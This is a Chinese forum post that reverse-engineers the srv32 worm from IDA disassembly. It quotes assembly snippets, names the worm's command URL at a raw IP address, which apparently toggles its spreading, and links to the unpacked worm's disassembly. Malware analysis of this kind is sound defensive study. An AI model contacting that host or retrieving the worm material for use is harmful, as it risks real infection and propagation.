CODE:00401329
CODE:00401329 locret_401329:
CODE:00401329           leave
CODE:0040132A           retn
CODE:0040132A sub_40123E     endp


这里本应该调用几个函数sub_403332,sub_403431,sub_40178E,sub_401675,sub_401634
Jmp到loc_4012C3继续call   sub_40148D,可在sub_403431中一直循环好像出不来了,
我想作者不会是为了耗系统资源而写的这个函数吧,不过偶实属菜鸟,希望能看得懂函数sub_403431
的大虾们指点一二,到这里整个程序的执行已经基本结束,你也许认为srv32没有传播自己,也没对
网络进行任何得攻击;作为蠕虫怎么会不传播自己呢,还记得在第4篇得时候有两个线程没有被执行吗.

在如下位置:

CODE:00402224           call   sub_401C49     ; 写注册表 srv32
CODE:00402229           cmp   ds:Data, 0
CODE:00402230           jz     short loc_402239
CODE:00402232           call   sub_4030EB     <<<<<这里创建了两个线程,做个标记
CODE:00402237           jmp   short loc_40223E

由于每次ds:Data的值都为0,所以这两个线程被跳过;Data的值为从http://63.246.135.48/r.php?t=0
读到的D=?的值,srv32的作者可能是通过D=0中止了蠕虫的继续传播。

IDA反汇编文件:http://bbs.pediy.com/upload/2005/4/files/srv32.unshell.rar

原创粉丝点击